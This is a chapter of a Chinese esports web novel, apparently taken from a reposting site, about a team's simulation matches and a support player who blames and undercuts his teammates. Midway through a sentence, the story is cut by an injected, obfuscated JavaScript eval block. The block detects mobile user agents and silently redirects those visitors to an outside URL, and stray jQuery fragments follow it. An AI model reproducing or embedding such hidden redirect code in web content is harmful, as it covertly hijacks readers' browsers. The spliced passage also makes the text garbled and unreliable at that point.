“什么情况?!Wink怎么死了?!”
Kun一直沉浸于和Once的交手,没有多余的心思去关注小地图和队友的情况,Ear是什么时候脱离Wink朝自己靠过来的,Can又是怎么摸进自家后排的,他一概浑然不知。
Wink自己也被吓了一跳,跃刃是突然从背后冒出来的,直接闯进治愈神像强杀,他没有护甲傍身,辅助也不在身边,被秒得毫无还手之力。
在屏幕灰下去,只能眼睁睁看着狂妄的跃刃全身而退时,Wink心里其实也是有些憋屈的。
他了解Can打刺客的路子,已经很小心翼翼的缩在家门口了,在辅助能给好视野的情况下是绝对不可能掉点的。
可偏偏Ear在这个时候一言不发的将他放生,跑去支援另两位队友了。
即便是在千钧一发之际从Once手底下救回了Kun,但舍弃AD保战士这个结果怎么想都是不值当的。
Ear显然也意识到了这一点,在全队有些凝固的氛围中默默开口:“抱歉啊队长,我想着之前Again说过没必要一直连体,就找时机去支援了……没想到你会被单杀。”
这话说得挺有水平的,看似承认自己的失职,实则结合比赛前沈岸的那几句话,不声不响把锅甩回给了Wink。
一句“被单杀”更是完完全全将其置于了“技不如人”的境地。
Wink心思比较单纯没有多想,但沈岸却是听出了这层意味的。
饶有兴致地轻轻一挑眉,侧过脸看了一眼说话的人。
其实他是比水深火热中的Kun更能眼观六路一些的,在前来支援的路上就发现辅助的走向不太对了——明明应该去开AD周边的视野,却偏偏一反常态的朝着他们这边越摸越近。
不过沈岸不太清楚敌方刺客的路数,见AD本人没有发表什么意见,想着或许是他们比较熟悉对面跃刃的打法,笃定这个时候不会被切,所以也就没有出言干涉了。
可显然结果与他所想截然相反。
单这一波切人,沈岸就看得出来这位刺客同僚绝对也是个酷爱猛扎猛打的类型。
起初还有些纳闷,这两人怎么同队这么久连队友路子都没摸清楚,直到听了这么一耳朵发言,才渐渐明白了些什么。
若有所思地移回视线后,沈岸没有针对这次乌龙发表任何评价,但已然心中有数。
本该大顺风的开局几经辗转,收益聊胜于无不说,反倒是种下了失势的种子。
Wink的节奏是从第一波被切后开始崩盘的,虽然Once和他一样是负战绩开局,但显然经验更为老道心态更为稳固,迅速调整了发育方式,统筹全队资金为己用,在后续几次遇上循影时都打得有来有回,没有再掉过点。
可依旧时不时被放生的Wink就不一样了。
Can显然是把他当成了唯一目标,凭借地形优势隐藏身形,一个不留神就从某个犄角旮旯钻出来打一个“亲切”照面。
饶是Wink已经反应很快,也还是败在了输出不够又脆皮上,连着被切死了两次。
跃刃的经济滚起雪球,Once的可支配资源越来越多,在饱受了循影长达十分多钟的骚扰压制之后,成功升级伤害大件后的弓箭手毫不犹豫召集队友发起了一波反打。
沈岸预料到温忱会在这个时间节点发难,留了一手技能绕后,但正面团战失利,辅助因为走位靠前第一个倒下,本就落后一件装备的AD失去续航更加不是对手,技能都没放完就再度归西。
Kun倒是配合沈岸打出了不少伤害,但奈何大招被守澈秒解,两人最终也是只勉强换了辅助和战士。
十八分钟的团灭,Once和Can兵分两路,推掉了他们的复生和恩赐神像。
巨大的优势之下,结局已成定数。
蓝方在第二十一分钟拿下了第一场比赛的胜利。
四人的面庞同时被象征失败的红光照亮时,Wink的心里十分不是滋味,这把他的战绩实在太难看了,基本上可以说是队里的破绽。
模拟赛的赛制是打满三场,没有设置中场,趁着短暂的休息时间,沈岸起身出去拿了两瓶水,回来时放了一瓶在低头沉思的Wink手边。
然后云淡风轻地说道:“不怪你,我的问题,这把不动你经济了。”
Wink原本拔凉的心头登时一暖。
他其实很清楚沈岸第一波的打法是完全没有问题的,这么说大抵也只是出于宽慰,于是非常感激地看了他一眼,同时默默深呼吸一口,强行迅速调整好心态。
第二局比赛很快开始。
沈岸依旧接续上一局的打法,虽说的确没有再去动队友的资源了,但还是按照自己的节奏冲锋,并且很少出言指挥。
这点也能理解,毕竟模拟赛的目的本身就是测试队员间的契合度,在没有指挥的前提下才更能体现出各自的打法风格和意识。
Ear也没有藏着野心,从一开局就预先告知Wink自己要去和刺客起节奏,让他小心点别再被切。
好在这把Wink吸取了上局的教训,拿的是在视野上的优势比较大的狙击手,正常开局再加上这把地图是“滨海之湾”,刺客藏视野绕后难度很大,一个人苟着不成问题。
出问题的反倒是另有其人。
Ear自请跟着沈岸打先锋的本意是想着发挥点实质作用,重演上把的极限救援操作,或是在某个关键节点立个大功之类。
可谁曾想沈岸没有拒绝他的跟随,却也完全没有一丁点要跟他打配合的意思,别说打出作用了,就连跟上趟都难。
像个无头苍蝇一样乱转了大半局,才终于赶上了一波大战。
——自家循影抓了一个背身,和敌方枪炮的在海边交起了手来。
两人打得不分上下,血量都不健康,对方辅助显然不在身边,Ear惊觉这是个绝佳的好机会,连忙操纵着天愈冲进战场,同时朝着循影脚下
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230045|194141||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
扔出了一个治疗技能。
可出乎意料的是,沈岸直接一个位移闪出了那片治愈光圈范围。
Ear大为震惊,可转瞬就看见枪炮的大招在那片光圈之中精准炸开。
险些给队友画地为牢的天愈这才猝然反应过来发生了什么。
Once这是早就知道自己在附近了,特地留着大招就是想等循影贪这口治疗的时候精准命中,一击必杀!
看着毫不犹豫翻滚出治疗范围才侥幸逃过一劫的循影,温忱在屏幕前轻轻扬了扬嘴角。
居然被他给料到了。
没做什么犹豫,空掉大招的Once直接作势撤退,一个翻滚到了更靠近辅助的礁石后方。
Ear想也不想就直接带头追了过去,他包里有眩晕陷阱,如果能一举控到残血的Once,那势必会是大功一件。
可过于着急表现往往事极必反,Ear忽略了最重要的一个因素——对面的那可是Once。
早在天愈露头的瞬间,温忱就看到了他腰间的眩晕陷阱模型,这一手看似的后撤其实也只是换个鱼饵钓鱼。
——既然钓不上某位太过聪明的小朋友,那就换一个目标来霍霍。
Ear是在刚一露头走进攻击范围时就被一顿暴揍的,枪炮对距离的把控出奇刁钻,看似是贪输出,但其实小走位不断,以至于他几次想扔出控制都不知从何下手。
直到循影跟着靠了过来,Ear才终于心一横,随手把眩晕陷阱往Once脚下丢去。
万一没有预判就是最好的预判呢?
然而让他始料未及的是,这陷阱非但没能成功控到敌方枪炮 ,反倒是差点控到位移绕后的自家循影。
好在是沈岸反应够快,看到了他的起手动作,在撞上陷阱的前一秒改变了进攻朝向。
但这也让他平白多浪费了一个位移技能。
沈岸顶着无以复加的无语深吸一口气,二话不说横刀起手,试图最后拼力一搏。
可他心中也很清楚,和Once的交手中,任何一个技能的失误都是足够致命的,少了关键突进的循影最终还是在枪炮的极致拉扯中被收下人头。
同样撤退不及的天愈也被打了个反手,Once直接拿下双杀。
队内气氛再一次陷入诡异的凝固中。
沈岸倒是没有多说什么,默默将视角切到了狙击手的画面观战。
但这种沉默更是让Ear心里跟猫抓似的,一颗心扑通扑通狂跳,脸也烧了起来:“对不起我不是故意的,我是想控他来着……”
“没关系。”
沈岸抱臂靠向电竞椅,面上没什么表情,语气也轻飘飘的,仿佛并没有太在意。
Ear刚要松一口气。
紧接着,一道明明没什么温度,却带着似乎能把人灼穿魔力的目光斜斜打在了自己身上。
目光的主人悠悠摇摆着椅子,声音淡淡地补充道。
“但是,事不过三哦。”